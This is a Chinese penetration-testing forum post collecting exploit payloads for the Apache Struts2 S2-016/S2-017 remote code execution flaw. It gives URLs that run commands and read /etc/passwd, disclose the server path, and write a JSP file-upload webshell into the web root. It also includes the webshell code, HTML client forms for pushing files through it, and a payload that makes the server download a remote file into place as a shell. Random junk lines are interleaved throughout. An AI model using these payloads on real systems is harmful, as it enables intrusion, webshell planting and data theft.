中国网络渗透测试联盟
标题:
Struts2 S2-016/S2-017漏洞执行代码
[打印本页]
作者:
admin
时间:
2013-7-18 23:03
标题:
Struts2 S2-016/S2-017漏洞执行代码
大家都发了,,我就整理了一下。友情提示,自己小命比shell重要哦。。
" o# h7 y' e) }+ ?3 |
/ \* G8 u! d. t
喜欢就点一下感谢吧^_^
/ |9 {$ \. G; L2 G) o' X1 _
/ M! j. [" h4 l4 K
带回显命令执行:
/ _* Q7 a* @8 M0 t1 r* u
( ^: U+ U4 r$ L! C
http://www.example.com/struts2-blank/example/X.action?redirect:
${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
* k# m# \7 Q8 v! r, B1 R' r6 H
9 X5 J; v/ _2 U/ V
$ t; N9 ]$ j/ g
1 Z% |. u5 m" i" P! d9 D
# }0 p7 o* C- f1 S! @* h3 H: H
1 M s; O' Z2 X8 `& i- z
5 O2 U4 T0 a, c c3 g* _* {
. m* l* |$ E- _5 M! K* x
爆路径:
2 o' ]" \( \( j' o' \/ c/ I
8 K, E3 W$ E( @
http://www.example.com/struts2-b ... 8%29.close%28%29%7D
, ]; D A; ] b$ t
# o$ u4 ~- ~8 i0 P
9 k7 P. T0 D: y, Y$ U0 l
' l- i. A1 r% {+ G
. v0 R3 O8 T% x& Q/ k, `* Y; y
& l' `# x9 w5 Y% Y) y
写文件:
* I3 b4 c. c' y! Q. f6 [
, ?) @$ [6 C# d) D: d; j7 g3 g1 Y: L; p
http://www.example.com/struts2-blank/example/X.action?redirect:
${
7 h. F' K$ @$ W: D5 M8 X0 S
, \0 E& b2 [! f% g- q: W. c- j
%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),
. z3 J: d; E" B: e0 }
; `# \$ K7 r& z5 X5 P
%23p%3d(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22).replaceAll("\\\\", "/"),
, o" F( w$ W3 h
% p/ ?; o7 z8 ?: ~
new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()
4 `( L1 i7 ~: C$ [2 l6 E& K: F
z8 [: m0 d6 ^# P" ~
}&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e
# z# g0 s9 n, R8 C, N
7 |( b* O# n/ \1 h* R% I( U
1 E9 A- \5 N( |3 I. d9 o0 M3 R
7 G" ~5 u6 m, O4 e! Y* i% c) m
写入的文件内容:
- M4 p) C; j/ Z9 o
) }- t# w; A O9 {
<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>
: v: r" O% u9 Q' z7 |: c/ r7 O. c: l2 f
8 r+ k. G" f5 }4 k: {" `3 V% k* \5 U
其实就是一个jsp的小马,需要客户端配合
( V) S5 y0 K/ i- n% h* _
& ~4 W. P: ^ Z# n1 a" y d
函数f是文件名,t是内容
, Q1 B8 P6 N3 c0 S" s, I) W: k
/ O- m- J& D* Z" L& v
客户端:
6 r# r* r t/ p3 P
3 \5 E- y/ m3 i
<form action="http://www.example.com/struts2-blank/example/css3.jsp?f=fjp.jsp" method="post">
) b p0 S0 N9 v; {5 o" a
( Y! ^& I) N$ F0 O6 V1 C$ n* b
<textarea name=t cols=120 rows=10 width=45>your code</textarea>
; j2 S' ]8 i, t; l9 N
" p, W0 Z4 u" h( M% C
<center>
, C; q1 Y( Z5 w+ V
. ~- o0 e+ L% {
. J' t$ o0 U/ L! }: v' I
4 D2 W, `, L. ]2 b
<input type=submit value="提交">
5 Q' U- A2 o2 g' P0 q9 l
1 E: L/ F' F) T6 p$ M
</form>
5 W8 a9 _2 T# l" A) }+ q3 U' V- G
8 l$ k v2 S8 Y2 a4 J
就在当前目录建立一个fjp.jsp
; |' ~) M1 K+ k: |9 r
$ a7 d) c% y) h' d" Q' m
shell:
http://www.example.com/struts2-blank/example/fjp.jsp
$ x' r6 m- E/ T+ n3 Q
: ?5 a7 G& E: N/ v) X1 }
# c3 ~& [9 S* |; b2 M7 L
4 o! m- J# T% n- X# u7 d
还有@园长的一个客户端:
+ o, L& S* p4 Y3 I
7 ~0 }0 |5 X7 r" F% J
<html>
6 T$ H+ |( }( g/ M
5 x5 {3 a$ y+ \& @/ S; g
<head>
, K8 R+ D2 y# s+ }% R7 \1 }
0 @! u4 O+ _, n1 ~- J8 Y
<meta http-equiv="content-type" content="text/html;charset=utf-8">
! S9 t$ O# l2 f
: N6 A, M$ e1 ?5 Q8 Z- k
<title>jsp-园长</title>
" z" d/ _/ p5 `+ V
3 _8 ^+ B$ k1 Z+ E& z! z3 X0 U
</head>
6 s; f: }$ [# [, p, U8 E9 p4 H* z
9 E4 M4 J. L; y3 B+ n& [
<style>
* i2 p+ V2 w0 L' I/ k
2 j3 n2 E1 t7 K8 K. J
.main{width:980px;height:600px;margin:0 auto;}
* C( L& u8 [( r) g2 {
" z! h4 D$ ~8 @& q2 y* e
.url{width:300px;}
+ Y. u+ A h3 p: x% Q& U
- {3 P9 n# b/ t* a- D: Y" \
.fn{width:60px;}
_/ T. J1 m( Z* V: ^" Q
1 i4 U1 ~8 n0 }9 ?5 Y; L8 t" q
.content{width:80%;height:60%;}
B& Q g; O8 k1 D: U4 P3 g9 K
' i4 }" ]2 A: v) h0 d+ N2 q
</style>
5 t0 u& y7 s d3 N
5 ^" z; S$ O+ g
<script>
* I6 y; B- Z0 S8 H3 ]
' g: w& u9 t8 F5 b
function upload(){
, z( N) Z7 }) @9 c: G: e4 h
9 w2 `2 O: k) L/ P
var url = document.getElementById('url').value,
0 S9 w! \9 ]) ~* _- v
0 o" m* V( {, c7 K
content = document.getElementById('content').value,
' e- A% _( n' K/ s( b3 ]. J
' @. a9 s# \- e2 c C
fileName = document.getElementById('fn').value,
! C/ f# ~. S' S+ h# i3 u
# {' H9 m, r7 B8 A3 x/ R5 _" Q
form = document.getElementById('fm');
1 ^' K+ {- n) R) u
# U# n! T5 a6 O8 x
if(url.length == 0){
& b& s+ Y: l- f- l/ i0 l5 b3 ]
; x8 z+ H- j- ~- {& n3 y
alert("Url not allowd empty!");
; A: h# N( V$ o$ j" H
9 W% w k9 X/ o
return ;
$ B" j/ v- X$ K" J; L. C, I' \( `
4 m" {7 x# h! t; W, v% k
}
$ K$ a/ r% ?$ k4 u3 q( u# }
8 T! p- k0 X: n8 b) f0 v
if(content.length == 0){
4 l9 i9 V. J) C- n- c) |
0 W$ N: J+ V' t, A
alert("Content not allowd empty!");
" L2 T- N) z! z# p Z; g
2 J6 A9 a8 P9 f* b3 }
return ;
; W! G) i9 X4 r9 _8 C5 f6 J* u
L3 T, u/ q7 ] f6 r9 i
}
$ `5 V3 j! d. A W
7 E1 M2 q5 _) n
if(fileName.length == 0){
! l: i8 V5 R4 v+ d2 |- d$ J7 i8 o
5 J2 O3 ^" h# E: S# ]" d! Q
alert("FileName not allowd empty!");
7 ?% @$ X* C& U, l
" u+ ^! g+ K% e+ |
return ;
. X' W Y: B w$ ]
" l" R7 R% l/ U! Q6 I9 |, x1 y
}
" m! O- U; C3 z$ h) _' \- v: B
2 @+ O, V9 d8 b2 h8 p3 ~
form.action = url;
) S) `8 X3 q3 L9 i& J# B- P$ ]
7 U; x, u4 |9 s9 j% b9 X4 d( Y" X
form.submit();
^, [# r& R) G6 b5 y- i' m
6 R6 b* N: o6 w- k
}
Y( A6 }7 e/ Y, K m& E/ F
5 ?, F- r* ` K5 J
</script>
! h6 p5 m ~- k7 R- B1 }" ?
) e3 {! u% C& ~+ n6 Y$ M- q- Q
<body>
6 ~# J3 d. s( f) p
) l* U. Z' \( D% l
<div class="main">
+ v) n7 B: m) `: D+ H. F* p- ~
! c1 U9 H$ @. p2 a
<form id="fm" method="post">
) f; S0 h- @, }( f( `
- D' A1 |, t) I" C( c
URL:<input type="text" value="http://localhost/Struts2/css3.jsp" class="url" id="url"/>
2 K$ Z5 D$ v8 ?
* u8 [" k8 w7 E9 J1 _
FileName:<input type="text" name="f" value="css.jsp" class="fn" id="fn" />
2 V; k; C" r8 a: F
7 N) F8 I. O2 |4 I* |
<a href="javascript:upload();">Upload</a>
% j- D3 h2 v' r$ ^, j
0 X% B9 [% d( Z
0 |& F' w7 W8 t/ h3 {. x3 [
) X: V: u% o; l+ e7 h) G
<textarea id="content" class="content" name="t" ></textarea>
$ Y p$ n% {7 I |! Z x
9 G N5 C6 ^- V$ B5 F0 Y$ i* m$ y$ s
</form>
* i& `4 q. M5 B# n$ H
8 b# q: E1 N9 a. V+ `& y4 w5 h
</div>
. w u. w( N, I0 M) f( p, c
) o: f) r( @# N( C
</body>
& j+ j( m* C! u8 T, F) H% H; V6 d1 x
1 o& D( O2 P5 r ?& h
</html>
! m! g3 Q [2 {" l- ^* U
# \1 |1 O8 y# p2 |
- h9 u. t4 A- t2 V3 F4 @
5 l8 ?2 V+ ^0 l( n4 B6 p
还有@X发的一个wget的getshell
5 f: k" y) F* ~; G7 c
8 C) Z! Y- v k% I
?redirect
{%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'wget','http://www.url.com/xx.txt','- O','/root/1.jsp'}
, _9 v \4 J3 |& J+ I: @
: _' ~* ?" f0 y8 _8 N3 s
)).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b), %23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e), %23piaoye%3d%23context.get ('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23piaoye.getWriter().println (%23e),%23piaoye.getWriter().flush(),%23piaoye.getWriter().close()}
7 \0 M3 X _. ?
复制代码
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2